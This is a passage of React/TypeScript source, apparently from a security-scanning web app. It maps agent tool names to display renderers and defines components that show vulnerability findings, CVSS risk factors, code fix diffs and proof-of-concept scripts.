reporting: { renderer: VulnReportRenderer, icon: ShieldAlert, color: "text-red-400" },
thinking: { renderer: ThinkRenderer, icon: Brain, color: "text-purple-400" },
agents: { renderer: AgentCommsRenderer, icon: Bot, color: "text-cyan-400", match: /agent/ },
search: { renderer: WebSearchRenderer, icon: Search, color: "text-amber-400" },
lifecycle: { renderer: ScanInfoRenderer, icon: Flag, color: "text-emerald-400" },
notes: { renderer: NotesRenderer, icon: StickyNote, color: "text-amber-400", match: /note/ },
skills: { renderer: LoadSkillRenderer, icon: Wrench, color: "text-emerald-400" },
todos: { renderer: TodoRenderer, icon: ListTodo, color: "text-purple-400", match: /todo/ },
telemetry: { renderer: FallbackRenderer, icon: Wrench, color: "text-[#555]" },
};
/**
* Tool name family. Grouped by family; legacy names the engine used before the
* OSS SDK migration (terminal_execute, python_action, browser_action,
* str_replace_editor, send_request, ) are kept as aliases so historical scan
* data keeps rendering.
*/
const CATEGORY_TOOLS: Record<ToolCategory, readonly string[]> = {
// Shell — SDK `exec_command` / `write_stdin` (legacy: terminal_execute)
terminal: ["exec_command", "write_stdin", "terminal_execute"],
// Legacy Python session tool (now runs through the shell)
python: ["python_action"],
// Legacy browser tool (now driven via agent-browser CLI over the shell)
browser: ["browser_action"],
// SDK filesystem — `apply_patch` / `view_image` (legacy: str_replace_editor, list/search)
filesystem: ["apply_patch", "view_image", "str_replace_editor", "list_files", "search_files"],
// Caido proxy tools (legacy: send_request)
proxy: ["list_requests", "view_request", "repeat_request", "list_sitemap", "view_sitemap_entry", "scope_rules", "send_request"],
reporting: ["create_vulnerability_report"],
thinking: ["think"],
agents: ["create_agent", "agent_finish", "send_message_to_agent", "wait_for_message", "view_agent_graph", "stop_agent"],
search: ["web_search"],
// scan_start_info / subagent_start_info are strix-app synthetic events; finish_scan is the engine's
lifecycle: ["scan_start_info", "subagent_start_info", "finish_scan"],
notes: ["create_note", "delete_note", "update_note", "list_notes", "get_note"],
skills: ["load_skill"],
todos: ["create_todo", "list_todos", "update_todo", "mark_todo_done", "mark_todo_pending", "delete_todo"],
telemetry: ["sandbox_error_details", "llm_error_details"],
};
/** Reverse index (tool name → family), built once from CATEGORY_TOOLS. */
const TOOL_CATEGORY: Record<string, ToolCategory> = Object.fromEntries(
(Object.entries(CATEGORY_TOOLS) as [ToolCategory, readonly string[]][]).flatMap(
([category, names]) => names.map((name) => [name, category] as const),
),
);
/**
* Per-tool renderer overrides for the rare tool whose renderer differs from its
* family default (finish_scan renders the final report, not the scan-start card).
*/
const RENDERER_OVERRIDES: Partial<Record<string, ComponentType<ToolRendererProps>>> = {
finish_scan: FinishRenderer,
apply_patch: ApplyPatchRenderer,
view_image: ViewImageRenderer,
};
/**
* Per-tool icon overrides for tools whose icon/color differs from their family
* default (the agents family and lifecycle family each vary per tool).
*/
const ICON_OVERRIDES: Partial<Record<string, ToolIconMeta>> = {
agent_finish: { icon: Flag, color: "text-cyan-400" },
send_message_to_agent: { icon: MessageCircle, color: "text-cyan-400" },
wait_for_message: { icon: MessageCircle, color: "text-cyan-400" },
view_agent_graph: { icon: Eye, color: "text-cyan-400" },
stop_agent: { icon: Ban, color: "text-red-400" },
scan_start_info: { icon: Crosshair, color: "text-emerald-400" },
subagent_start_info: { icon: Bot, color: "text-purple-400" },
view_image: { icon: Image, color: "text-sky-400" },
};
const FALLBACK_META: CategoryMeta = CATEGORY_META.telemetry;
/** Resolve a tool name to its family, falling back to family-name matchers. */
function resolveCategory(toolName: string): ToolCategory | null {
const direct = TOOL_CATEGORY[toolName];
if (direct) return direct;
for (const [category, meta] of Object.entries(CATEGORY_META) as [ToolCategory, CategoryMeta][]) {
if (meta.match?.test(toolName)) return category;
}
return null;
}
export function getToolRenderer(toolName: string): ComponentType<ToolRendererProps> {
const override = RENDERER_OVERRIDES[toolName];
if (override) return override;
const category = resolveCategory(toolName);
return category ? CATEGORY_META[category].renderer : FallbackRenderer;
}
export function getToolIcon(toolName: string): ToolIconMeta {
const override = ICON_OVERRIDES[toolName];
if (override) return override;
const category = resolveCategory(toolName);
const meta = category ? CATEGORY_META[category] : FALLBACK_META;
return { icon: meta.icon, color: meta.color };
}
@@ -0,0 +1,3 @@
export function shortPath(p: string): string {
return p.length > 60 ? "..." + p.slice(-57) : p;
}
@@ -0,0 +1,114 @@
"use client";
import { useState } from "react";
import hljs from "@/lib/hljs";
import "highlight.js/styles/github-dark.css";
import { diffLines } from "diff";
import { Copy, Check } from "lucide-react";
import { getLanguageFromFile, copyToClipboard } from "@/lib/vulnerability-utils";
function safeHighlight(code: string, lang: string): string {
try {
return hljs.highlight(code, { language: lang, ignoreIllegals: true }).value;
} catch {
return hljs.highlightAuto(code).value;
}
}
interface CodeDiffBlockProps {
file: string;
startLine: number;
endLine?: number;
before: string;
after: string;
onCopy?: () => void;
}
export function CodeDiffBlock({ file, startLine, endLine, before, after, onCopy }: CodeDiffBlockProps) {
const [copied, setCopied] = useState(false);
const lineRef =
endLine && endLine !== startLine ? `${startLine}-${endLine}` : `${startLine}`;
const lang = getLanguageFromFile(file) || "text";
const changes = diffLines(before, after);
let oldLineNo = startLine;
let newLineNo = startLine;
const rows = changes.flatMap((change) =>
change.value
.replace(/\n$/, "")
.split("\n")
.map((line) => {
const highlighted =
line === ""
? "\n"
: lang !== "text"
? safeHighlight(line, lang)
: line.replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;");
let leftNo = "";
let rightNo = "";
if (change.removed) {
leftNo = String(oldLineNo++);
} else if (change.added) {
rightNo = String(newLineNo++);
} else {
leftNo = String(oldLineNo++);
rightNo = String(newLineNo++);
}
return { highlighted, added: !!change.added, removed: !!change.removed, leftNo, rightNo };
})
);
const copy = () => {
copyToClipboard(after);
setCopied(true);
setTimeout(() => setCopied(false), 2000);
onCopy?.();
};
return (
<div className="rounded-md border border-[#2a2a2a] overflow-hidden">
<div className="flex items-stretch">
<span className="relative flex items-center text-[13px] text-[#999] font-mono px-4 py-2 border-r border-[#2a2a2a] break-all">
{file}:{lineRef}
<span className="absolute top-0 inset-x-0 h-0.5 bg-white/60 rounded-full" />
</span>
<div className="flex-1 border-b border-[#2a2a2a]" />
<button
onClick={copy}
className="px-3 py-2 text-[#555] hover:text-white transition-colors flex-shrink-0 border-b border-[#2a2a2a]"
aria-label="Copy fixed code"
>
{copied ? (
<Check className="w-3.5 h-3.5 text-emerald-400" />
) : (
<Copy className="w-3.5 h-3.5" />
)}
</button>
</div>
<div className="overflow-auto max-h-[400px]">
<table className="w-full border-collapse font-mono text-[12px] leading-[22px] [font-variant-ligatures:none]">
<tbody>
{rows.map((row, i) => (
<tr
key={i}
className={row.added ? "bg-blue-500/[0.12]" : row.removed ? "bg-red-500/[0.12]" : ""}
>
<td className="select-none w-[1px] whitespace-nowrap pl-4 pr-1.5 text-right text-[#555] align-top text-[12px] leading-[22px]">
{row.leftNo}
</td>
<td className="select-none w-[1px] whitespace-nowrap pl-1.5 pr-4 text-right text-[#555] align-top text-[12px] leading-[22px] border-r border-[#2a2a2a]">
{row.rightNo}
</td>
<td
className="pl-4 pr-4 whitespace-pre"
dangerouslySetInnerHTML={{ __html: row.highlighted }}
/>
</tr>
))}
</tbody>
</table>
</div>
</div>
);
}
@@ -0,0 +1,27 @@
"use client";
import ReactMarkdown from "react-markdown";
import remarkGfm from "remark-gfm";
import { rehypeCodeMeta, mdComponents } from "./MdCodeBlock";
export function ContentSection({ title, content, action }: { title?: string; content: string; action?: React.ReactNode }) {
return (
<section>
{(title || action) && (
<div className="flex items-center justify-between gap-3 mb-3">
{title ? <h2 className="text-xl font-semibold text-white">{title}</h2> : <span />}
{action}
</div>
)}
<div className="prose-markdown">
<ReactMarkdown
remarkPlugins={[remarkGfm]}
rehypePlugins={[rehypeCodeMeta]}
components={mdComponents}
>
{content}
</ReactMarkdown>
</div>
</section>
);
}
@@ -0,0 +1,277 @@
"use client";
import { useState } from "react";
import { Clock, Globe, ChevronDown } from "lucide-react";
import { parseTarget } from "@/lib/target-utils";
import { ProviderIcon } from "@/components/AddRepositoryDialog";
import { getSeverityDot } from "@/lib/vulnerability-utils";
import { formatTimeAgo } from "@/lib/utils";
import { FIX_EFFORT_META, type FixEffort, type Vulnerability } from "@/types/issues";
/* ─── Human-friendly CVSS labels ─── */
const HUMAN_LABELS: Record<string, Record<string, string>> = {
attack_vector: { N: "Remotely exploitable", A: "Adjacent network", L: "Local access required", P: "Physical access required" },
attack_complexity: { L: "Easy to exploit", H: "Requires specific conditions" },
privileges_required: { N: "No authentication needed", L: "Low privileges needed", H: "High privileges needed" },
user_interaction: { N: "No user action required", R: "Requires user action", P: "Passive user role", A: "Active user role" },
scope: { U: "Impact stays contained", C: "Can spread to other systems" },
confidentiality: { N: "No data exposure", L: "Partial data exposure", H: "Full data exposure" },
integrity: { N: "No data modification", L: "Limited modification", H: "Full data modification" },
availability: { N: "No service disruption", L: "Limited disruption", H: "Full service disruption" },
};
const RISK_LEVEL: Record<string, Record<string, "low" | "medium" | "high">> = {
attack_vector: { N: "high", A: "medium", L: "low", P: "low" },
attack_complexity: { L: "high", H: "low" },
privileges_required: { N: "high", L: "medium", H: "low" },
user_interaction: { N: "high", R: "low", P: "medium", A: "low" },
scope: { C: "high", U: "low" },
confidentiality: { H: "high", L: "medium", N: "low" },
integrity: { H: "high", L: "medium", N: "low" },
availability: { H: "high", L: "medium", N: "low" },
};
const RISK_BADGE: Record<string, string> = {
high: "bg-red-500/15 text-red-400 border-red-500/25",
medium: "bg-yellow-500/15 text-yellow-400 border-yellow-500/25",
low: "bg-[#222] text-[#666] border-[#333]",
};
const FACTOR_GROUPS: { label: string; keys: string[] }[] = [
{ label: "Exploitability", keys: ["attack_vector", "attack_complexity", "privileges_required", "user_interaction"] },
{ label: "Impact", keys: ["scope", "confidentiality", "integrity", "availability"] },
];
/* ─── Location link builder ─── */
export function buildLocationHref(
repoUrl: string,
provider: string,
branch: string,
file: string,
startLine: number,
): string | null {
const base = repoUrl.replace(/\.git$/, "").replace(/\/+$/, "");
const encodedFile = file.split("/").map(encodeURIComponent).join("/");
const encodedBranch = branch.split("/").map(encodeURIComponent).join("/");
if (provider === "github") {
return `${base}/blob/${encodedBranch}/${encodedFile}#L${startLine}`;
}
if (provider === "gitlab") {
return `${base}/-/blob/${encodedBranch}/${encodedFile}#L${startLine}`;
}
return null;
}
/* ─── Props ─── */
interface IssueSidebarProps {
vulnerability: Vulnerability;
statusSlot: React.ReactNode;
slackThreadUrl?: string | null;
}
/* ─── Component ─── */
export function IssueSidebar({ vulnerability, statusSlot, slackThreadUrl }: IssueSidebarProps) {
const { severity, cvss, cve, cwe, fix_effort, created_at, target, endpoint, method, code_locations, cvss_breakdown, location_meta } = vulnerability;
const [riskOpen, setRiskOpen] = useState(true);
const fixLocations = code_locations?.filter((loc) => loc.fix_before && loc.fix_after);
const hasLocations = fixLocations && fixLocations.length > 0;
const parsed = target ? parseTarget(target) : null;
const hasAsset = !!(target || endpoint || method || hasLocations);
const hasBreakdown = cvss_breakdown && Object.values(cvss_breakdown).some((v) => v != null);
return (
<aside className="lg:sticky lg:top-6 lg:max-h-[calc(100vh-3rem)] lg:overflow-y-auto">
{/* ─── Metadata ─── */}
<div className="pb-4">
<div className="space-y-3">
{/* Severity */}
<div className="flex items-center justify-between">
<span className="text-xs text-[#aaa]">Severity</span>
<div className="flex items-center gap-1.5">
<div className={`w-2 h-2 rounded-full ${getSeverityDot(severity)}`} aria-hidden="true" />
<span className="text-sm font-medium capitalize text-white">{severity}</span>
</div>
</div>
{/* CVSS */}
<div className="flex items-center justify-between">
<span className="text-xs text-[#aaa]">CVSS Score</span>
<span className="text-sm font-semibold tabular-nums text-white">{cvss !== null ? cvss : "N/A"}</span>
</div>
{/* CVE */}
{cve && (
<div className="flex items-center justify-between">
<span className="text-xs text-[#aaa]">CVE</span>
<span className="text-sm text-white font-mono">{cve}</span>
</div>
)}
{/* CWE */}
{cwe && cwe.length > 0 && (
<div className="flex items-center justify-between">
<span className="text-xs text-[#aaa]">CWE</span>
<span className="text-xs text-white font-mono truncate max-w-[80%] text-right" title={cwe.join(" · ")}>
{cwe.join(" · ")}
</span>
</div>
)}
{/* Fix Effort */}
{fix_effort && (
<div className="flex items-center justify-between">
<span className="text-xs text-[#aaa]">Fix Effort</span>
<span className={`inline-flex items-center px-2 py-0.5 text-[11px] font-medium rounded-full border ${FIX_EFFORT_META[fix_effort as FixEffort]?.color ?? "text-[#666]"}`}>
{fix_effort.charAt(0).toUpperCase() + fix_effort.slice(1)}
</span>
</div>
)}
{/* Discovered */}
<div className="flex items-center justify-between">
<span className="text-xs text-[#aaa]">Discovered</span>
<div className="flex items-center gap-1.5">
<Clock className="w-3 h-3 text-[#444]" aria-hidden="true" />
<span className="text-sm text-white">{formatTimeAgo(created_at)}</span>
</div>
</div>
{/* Status */}
<div className="flex items-center justify-between">
<span className="text-xs text-[#aaa]">Status</span>
{statusSlot}
</div>
</div>
</div>
{/* ─── Asset ─── */}
{hasAsset && (
<div className="border-t border-[#191919] pt-4 pb-4">
<p className="text-xs font-medium text-[#aaa] mb-2.5">Asset</p>
<div className="space-y-2.5">
{target && parsed && (
<div className="flex items-center gap-1.5">
{parsed.provider ? (
<span className="flex-shrink-0 [&_svg]:w-3.5 [&_svg]:h-3.5" aria-hidden="true">
<ProviderIcon provider={parsed.provider} />
</span>
) : (
<Globe className="w-3.5 h-3.5 text-[#555] flex-shrink-0" aria-hidden="true" />
)}
{parsed.href ? (
<a
href={parsed.href}
target="_blank"
rel="noopener noreferrer"
className="text-sm text-white hover:text-[#ccc] break-words min-w-0 transition-colors"
>
{parsed.display}
</a>
) : (
<span className="text-sm text-white break-words min-w-0">{parsed.display}</span>
)}
</div>
)}
{endpoint && (
<div className="flex items-center justify-between">
<span className="text-xs text-[#aaa]">Endpoint</span>
<span className="text-xs text-white font-mono truncate max-w-[75%] text-right">{endpoint}</span>
</div>
)}
{method && (
<div className="flex items-center justify-between">
<span className="text-xs text-[#aaa]">Method</span>
<span className="text-xs text-white font-mono">{method}</span>
</div>
)}
{hasLocations && (
<div>
<span className="text-xs text-[#aaa] mb-1.5 block">Locations</span>
<div className="space-y-0.5">
{fixLocations!.map((loc, i) => {
const label = `${loc.file}:${loc.start_line}`;
const href = location_meta
? buildLocationHref(location_meta.repo_url, location_meta.provider, location_meta.branch, loc.file, loc.start_line)
: null;
return href ? (
<a
key={`loc-${i}`}
href={href}
target="_blank"
rel="noopener noreferrer"
className="text-[13px] text-[#888] hover:text-white font-mono break-all transition-colors block"
>
{label}
</a>
) : (
<span key={`loc-${i}`} className="text-[13px] text-[#888] font-mono break-all block">
{label}
</span>
);
})}
</div>
</div>
)}
</div>
</div>
)}
{/* ─── Risk Assessment (human-friendly CVSS) ─── */}
{hasBreakdown && (
<div className="border-t border-[#191919] pt-4">
<button
onClick={() => setRiskOpen(!riskOpen)}
className="flex items-center justify-between w-full mb-2.5 group"
aria-expanded={riskOpen}
>
<span className="text-xs font-medium text-[#aaa]">Risk Assessment</span>
<ChevronDown className={`w-3.5 h-3.5 text-[#555] group-hover:text-white transition-transform ${riskOpen ? "" : "-rotate-90"}`} aria-hidden="true" />
</button>
<div className={`space-y-3 ${riskOpen ? "" : "hidden"}`}>
{FACTOR_GROUPS.map((group) => {
const factors = group.keys.filter(
(k) => (cvss_breakdown as unknown as Record<string, string | null>)[k] != null
);
if (factors.length === 0) return null;
return (
<div key={group.label}>
<div className="flex items-center justify-between mb-1.5">
<p className="text-[10px] uppercase tracking-wider text-[#444] font-medium">
{group.label}
</p>
<p className="text-[10px] uppercase tracking-wider text-[#444] font-medium mr-2">
Risk
</p>
</div>
<div className="space-y-1">
{factors.map((key) => {
const raw = (cvss_breakdown as unknown as Record<string, string | null>)[key];
const level = raw ? (RISK_LEVEL[key]?.[raw] ?? "low") : "low";
const label = raw ? (HUMAN_LABELS[key]?.[raw] ?? raw) : "N/A";
return (
<div key={key} className="flex items-center justify-between py-0.5">
<span className="text-[12px] text-[#aaa]">{label}</span>
<span className={`text-[10px] font-medium px-1.5 py-0.5 rounded border ${RISK_BADGE[level]}`}>
{level}
</span>
</div>
);
})}
</div>
</div>
);
})}
</div>
</div>
)}
</aside>
);
}
@@ -0,0 +1,141 @@
"use client";
import { useState } from "react";
import hljs from "@/lib/hljs";
import "highlight.js/styles/github-dark.css";
import { Copy, Check } from "lucide-react";
import { copyToClipboard } from "@/lib/vulnerability-utils";
export function MdCodeBlock({
className,
children,
node,
}: {
className?: string;
children?: React.ReactNode;
node?: { data?: { meta?: string }; properties?: { metastring?: string } };
}) {
const [copied, setCopied] = useState(false);
const raw = String(children).replace(/\n$/, "");
const match = /language-(\w+)/.exec(className || "");
const isBlock = raw.includes("\n") || match;
if (!isBlock) {
return <code className={`${className || ""} bg-white/8 px-1.5 py-0.5 rounded text-[13px]`}>{children}</code>;
}
const meta = node?.data?.meta || node?.properties?.metastring || "";
const titleMatch = /title=["']?([^"'\s}]+)["']?/.exec(meta);
const startMatch = /startLineNumber=(\d+)/.exec(meta);
const fileName = titleMatch?.[1] || null;
const startLine = startMatch ? parseInt(startMatch[1], 10) : 1;
const headerLabel = fileName
? startMatch
? `${fileName}:${startLine}`
: fileName
: null;
let highlighted: string;
if (match) {
try {
highlighted = hljs.highlight(raw, { language: match[1], ignoreIllegals: true }).value;
} catch {
highlighted = hljs.highlightAuto(raw).value;
}
} else {
highlighted = hljs.highlightAuto(raw).value;
}
const lines = highlighted.split("\n");
const copy = () => {
copyToClipboard(raw);
setCopied(true);
setTimeout(() => setCopied(false), 2000);
};
return (
<div className="group/code relative rounded-md border border-[#2a2a2a] my-4 text-[#ddd] overflow-hidden">
{headerLabel ? (
<div className="flex items-stretch">
<span className="relative flex items-center text-[13px] text-[#999] font-mono px-4 py-2 border-r border-[#2a2a2a]">{headerLabel}<span className="absolute top-0 inset-x-0 h-0.5 bg-white/60 rounded-full" /></span>
<div className="flex-1 border-b border-[#2a2a2a]" />
<button
onClick={copy}
className="px-3 py-2 text-[#555] hover:text-white transition-colors border-b border-[#2a2a2a]"
aria-label="Copy code"
>
{copied ? (
<Check className="w-3.5 h-3.5 text-emerald-400" />
) : (
<Copy className="w-3.5 h-3.5" />
)}
</button>
</div>
) : (
<button
onClick={copy}
className="absolute top-2 right-2 z-10 p-1 rounded text-[#444] hover:text-white opacity-0 group-hover/code:opacity-100 transition-opacity"
aria-label="Copy code"
>
{copied ? (
<Check className="w-3.5 h-3.5 text-emerald-400" />
) : (
<Copy className="w-3.5 h-3.5" />
)}
</button>
)}
<div className="overflow-auto max-h-[400px]">
<table className="w-full border-collapse font-mono text-[12px] leading-[22px] [font-variant-ligatures:none]">
<tbody>
{lines.map((line, i) => (
<tr key={i}>
<td className="select-none w-[1px] whitespace-nowrap px-4 text-right text-[#555] align-top text-[12px] leading-[22px] border-r border-[#2a2a2a]">
{startLine + i}
</td>
<td
className="pl-4 pr-4 whitespace-pre"
dangerouslySetInnerHTML={{ __html: line || "\n" }}
/>
</tr>
))}
</tbody>
</table>
</div>
</div>
);
}
// rehype plugin: pass code fence meta string through to code element properties
type HastNode = {
type: string;
tagName?: string;
children?: HastNode[];
properties?: Record<string, unknown>;
data?: { meta?: string };
};
export function rehypeCodeMeta() {
return (tree: HastNode) => {
const visit = (node: HastNode) => {
if (node.type === "element" && node.tagName === "pre" && node.children) {
const codeEl = node.children.find(
(c) => c.type === "element" && c.tagName === "code"
);
if (codeEl?.data?.meta) {
codeEl.properties = codeEl.properties || {};
codeEl.properties.metastring = codeEl.data.meta;
}
}
if (node.children) {
node.children.forEach((child) => visit(child));
}
};
visit(tree);
};
}
export const mdComponents = {
code: MdCodeBlock as React.ComponentType<React.HTMLAttributes<HTMLElement>>,
pre: ({ children }: { children?: React.ReactNode }) => <>{children}</>,
};
@@ -0,0 +1,77 @@
"use client";
import { useState } from "react";
import hljs from "@/lib/hljs";
import "highlight.js/styles/github-dark.css";
import ReactMarkdown from "react-markdown";
import remarkGfm from "remark-gfm";
import { Copy, Check } from "lucide-react";
import { copyToClipboard } from "@/lib/vulnerability-utils";
import { rehypeCodeMeta, mdComponents } from "./MdCodeBlock";
interface PocBlockProps {
description?: string | null;
scriptCode?: string | null;
onCopy?: () => void;
}
export function PocBlock({ description, scriptCode, onCopy }: PocBlockProps) {
const [copied, setCopied] = useState(false);
if (!description && !scriptCode) return null;
const copy = () => {
if (!scriptCode) return;
copyToClipboard(scriptCode);
setCopied(true);
setTimeout(() => setCopied(false), 2000);
onCopy?.();
};
return (
<section>
<h2 className="text-xl font-semibold text-white mb-3">Proof of Concept</h2>
<div className="space-y-4">
{description && (
<div className="prose-markdown">
<ReactMarkdown
remarkPlugins={[remarkGfm]}
rehypePlugins={[rehypeCodeMeta]}
components={mdComponents}
>
{description}
</ReactMarkdown>
</div>
)}
{scriptCode && (
<div className="group/poc relative rounded-md border border-[#2a2a2a] overflow-hidden">
<div className="flex items-stretch">
<span className="relative flex items-center text-[13px] text-[#999] font-mono px-4 py-2 border-r border-[#2a2a2a]">PoC Script<span className="absolute top-0 inset-x-0 h-0.5 bg-white/60 rounded-full" /></span>
<div className="flex-1 border-b border-[#2a2a2a]" />
<button
onClick={copy}
className="px-3 py-2 text-[#555] hover:text-white transition-colors flex-shrink-0 border-b border-[#2a2a2a]"
aria-label="Copy PoC code"
>
{copied ? (
<Check className="w-3.5 h-3.5 text-emerald-400" />
) : (
<Copy className="w-3.5 h-3.5" />
)}
</button>
</div>
<div className="overflow-auto max-h-[400px] px-4 py-3">
<pre className="font-mono text-[12px] leading-[22px] whitespace-pre [font-variant-ligatures:none]">
<code
dangerouslySetInnerHTML={{
__html: hljs.highlight(scriptCode, { language: "python" }).value,
}}
/>
</pre>
</div>
</div>
)}
</div>
</section>
);
}
@@ -0,0 +1,265 @@
"use client";
import React, { useState } from "react";
import { Clock, CheckCircle2, Ban, History, BellOff, Wrench, GitMerge, GitPullRequest } from "lucide-react";
import { ProInlineCta } from "@/components/ProCta";
import { Vulnerability, VulnerabilityStatus, SEVERITY_COLORS, STATUS_META, isSeverityOverridden } from "@/types/issues";
import { formatTimeAgo } from "@/lib/utils";
import { getSeverityDot } from "@/lib/vulnerability-utils";
import { formatStrixId } from "@/lib/display-number";
import { ContentSection } from "@/components/vulnerability/ContentSection";
import { CodeDiffBlock } from "@/components/vulnerability/CodeDiffBlock";
import { PocBlock } from "@/components/vulnerability/PocBlock";
import { IssueSidebar } from "@/components/vulnerability/IssueSidebar";
function bannerTime(dateString: string | null): string {
if (!dateString) return "";
const diffInSeconds = Math.floor((Date.now() - new Date(dateString).getTime()) / 1000);
if (diffInSeconds < 604800) return ` ${formatTimeAgo(dateString)}`;
return ` on ${formatTimeAgo(dateString)}`;
}
const STATUS_BANNER: Record<VulnerabilityStatus, { icon: React.ElementType; label: string; iconColor: string } | null> = {
open: null,
in_progress: { icon: Clock, label: "Marked as In Progress", iconColor: "text-blue-400" },
snoozed: { icon: BellOff, label: "Snoozed", iconColor: "text-purple-400" },
fixed: { icon: CheckCircle2, label: "Marked as Fixed", iconColor: "text-emerald-400" },
ignored: { icon: Ban, label: "Marked as Ignored", iconColor: "text-[#888]" },
};
type BottomTab = "fix" | "reproduction";
interface VulnerabilityDetailProps {
vulnerability: Vulnerability;
}
/**
* Self-contained finding detail (header + status banners + content grid),
* without page chrome. Shared by the public /share/issues page and the local
* /results view so both render findings identically.
*/
export default function VulnerabilityDetail({ vulnerability }: VulnerabilityDetailProps) {
const currentMeta = STATUS_META[vulnerability.status];
const hasCodeLocations = vulnerability.code_locations && vulnerability.code_locations.length > 0;
const hasFix = hasCodeLocations || vulnerability.remediation_steps;
const hasReproduction = !!(vulnerability.evidence || vulnerability.assumptions || vulnerability.poc_description || vulnerability.poc_script_code);
const [activeTab, setActiveTab] = useState<BottomTab>("fix");
const bottomTabs: { id: BottomTab; label: string; show: boolean }[] = [
{ id: "fix", label: "Fix", show: !!hasFix },
{ id: "reproduction", label: "Reproduction", show: hasReproduction },
];
const visibleTabs = bottomTabs.filter((t) => t.show);
return (
<div className="space-y-6">
{/* Header */}
<div>
<div className="mb-2">
{vulnerability.display_number && (
<span className="text-xs font-mono text-[#555] block mb-1">
{formatStrixId(vulnerability.display_number)}
</span>
)}
<h1 className="text-2xl font-semibold text-white">{vulnerability.title}</h1>
</div>
<div className="flex flex-wrap items-center gap-3">
<span className={`inline-flex items-center gap-1.5 px-3 py-1 text-sm font-medium rounded-full border ${currentMeta.color}`}>
{currentMeta.label}
</span>
<div
className={`inline-flex items-center gap-1.5 px-3 py-1 text-sm font-semibold rounded-full border ${SEVERITY_COLORS[vulnerability.severity]}`}
title={isSeverityOverridden(vulnerability) ? `Adjusted from ${vulnerability.original_severity}` : undefined}
>
<div className={`w-2 h-2 rounded-full ${getSeverityDot(vulnerability.severity)}`} />
<span className="capitalize">
{vulnerability.severity}
{!isSeverityOverridden(vulnerability) && vulnerability.cvss ? ` ${vulnerability.cvss}` : ""}
</span>
{isSeverityOverridden(vulnerability) && (
<History className="w-3 h-3 opacity-70" aria-hidden="true" />
)}
</div>
{vulnerability.cve && (
<>
<span className="text-[#333]">&middot;</span>
<span className="text-sm text-[#666] font-mono">{vulnerability.cve}</span>
</>
)}
</div>
</div>
{/* Status banner */}
{vulnerability.status !== "open" && (() => {
const banner = STATUS_BANNER[vulnerability.status];
if (!banner) return null;
const BannerIcon = banner.icon;
return (
<div className="rounded-lg px-4 py-3.5 flex gap-3" style={{ border: "1px solid rgba(255,255,255,0.08)" }}>
<BannerIcon className={`w-5 h-5 flex-shrink-0 mt-0.5 ${banner.iconColor}`} aria-hidden="true" />
<div className="min-w-0">
<p className="text-sm font-semibold text-white">
{banner.label}{bannerTime(vulnerability.status_changed_at)}
</p>
{vulnerability.status_note && (
<p className="text-sm text-[#666] italic mt-1">
&ldquo;{vulnerability.status_note}&rdquo;
</p>
)}
</div>
</div>
);
})()}
{/* Severity override banner */}
{isSeverityOverridden(vulnerability) && (
<div className="rounded-lg px-4 py-3.5 flex gap-3" style={{ border: "1px solid rgba(255,255,255,0.08)" }}>
<History className="w-5 h-5 flex-shrink-0 mt-0.5 text-orange-400" aria-hidden="true" />
<div className="min-w-0">
<p className="text-sm font-semibold text-white">
Severity changed manually from{" "}
<span className="capitalize">{vulnerability.original_severity}</span>
{vulnerability.cvss != null ? ` (${vulnerability.cvss})` : ""} to{" "}
<span className="capitalize">{vulnerability.severity}</span>
{bannerTime(vulnerability.severity_changed_at)}
</p>
{vulnerability.severity_override_reason && (
<p className="text-sm text-[#666] italic mt-1">
&ldquo;{vulnerability.severity_override_reason}&rdquo;
</p>
)}
</div>
</div>
)}
{/* Content grid */}
<div className="grid grid-cols-1 lg:grid-cols-[1fr_340px] gap-8">
{/* Main content */}
<div className="min-w-0">
<div className="space-y-8">
<ContentSection title="TL;DR" content={vulnerability.description} />
{vulnerability.impact && <ContentSection title="Impact" content={vulnerability.impact} />}
{vulnerability.technical_analysis && (
<ContentSection title="Technical Details" content={vulnerability.technical_analysis} />
)}
</div>
{/* Bottom tabs */}
{visibleTabs.length > 0 && (
<div className="mt-10">
<div className="border-b border-[#2a2a2a]">
<nav className="flex gap-6" aria-label="Tabs">
{visibleTabs.map((tab) => (
<button
key={tab.id}
onClick={() => setActiveTab(tab.id)}
className={`relative min-w-[80px] text-center pb-3 text-[16px] font-semibold transition-colors ${
activeTab === tab.id
? "text-white"
: "text-[#666] hover:text-white"
}`}
aria-current={activeTab === tab.id ? "page" : undefined}
>
{tab.label}
{activeTab === tab.id && (
<span className="absolute bottom-0 inset-x-0 h-0.5 bg-white rounded-full" />
)}
</button>
))}
</nav>
</div>
{/* Fix tab */}
{hasFix && (
<div className={`pt-6 space-y-6 ${activeTab === "fix" ? "animate-tab-in" : "hidden"}`}>
{vulnerability.remediation_steps && (
<ContentSection title="How do I fix it?" content={vulnerability.remediation_steps} />
)}
{hasCodeLocations &&
vulnerability.code_locations!
.filter((loc) => loc.fix_before && loc.fix_after)
.map((loc, i) => (
<CodeDiffBlock
key={`fix-${i}`}
file={loc.file}
startLine={loc.start_line}
endLine={loc.end_line}
before={loc.fix_before!}
after={loc.fix_after!}
/>
))}
</div>
)}
{/* Reproduction tab */}
{hasReproduction && (
<div className={`pt-6 space-y-8 ${activeTab === "reproduction" ? "animate-tab-in" : "hidden"}`}>
{vulnerability.assumptions && (
<ContentSection title="Assumptions" content={vulnerability.assumptions} />
)}
{vulnerability.evidence && (
<ContentSection title="Evidence" content={vulnerability.evidence} />
)}
<PocBlock
description={vulnerability.poc_description}
scriptCode={vulnerability.poc_script_code}
/>
</div>
)}
</div>
)}
</div>
{/* Sidebar */}
<div className="lg:border-l lg:border-[#2a2a2a] lg:pl-6">
<IssueSidebar
vulnerability={vulnerability}
statusSlot={
<span className={`inline-flex items-center gap-1.5 px-2.5 py-1 text-xs font-medium rounded-full border ${currentMeta.color}`}>
<div className={`w-1.5 h-1.5 rounded-full ${currentMeta.dotColor}`} />
{currentMeta.label}
</span>
}
/>
</div>
</div>
{/* Team-workflow CTAs (Pro). Highest-intent surface: act on this finding. */}
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
<p className="text-sm font-semibold text-white">Ship the fix with your team</p>
<p className="mt-0.5 text-xs text-[#666]">
Take this finding into your team's workflow.
</p>
<div className="mt-3 flex flex-wrap gap-2.5">
<ProInlineCta
label="Auto-fix & open a PR"
desc="Fix it for you and open a PR, retested."
slug="autofix"
icon={Wrench}
surface="finding_detail"
/>
<ProInlineCta
label="Sync to Jira / Linear"
desc="Two-way sync findings to Jira, Linear, and Slack."
slug="integrations"
icon={GitMerge}
surface="finding_detail"
/>
<ProInlineCta
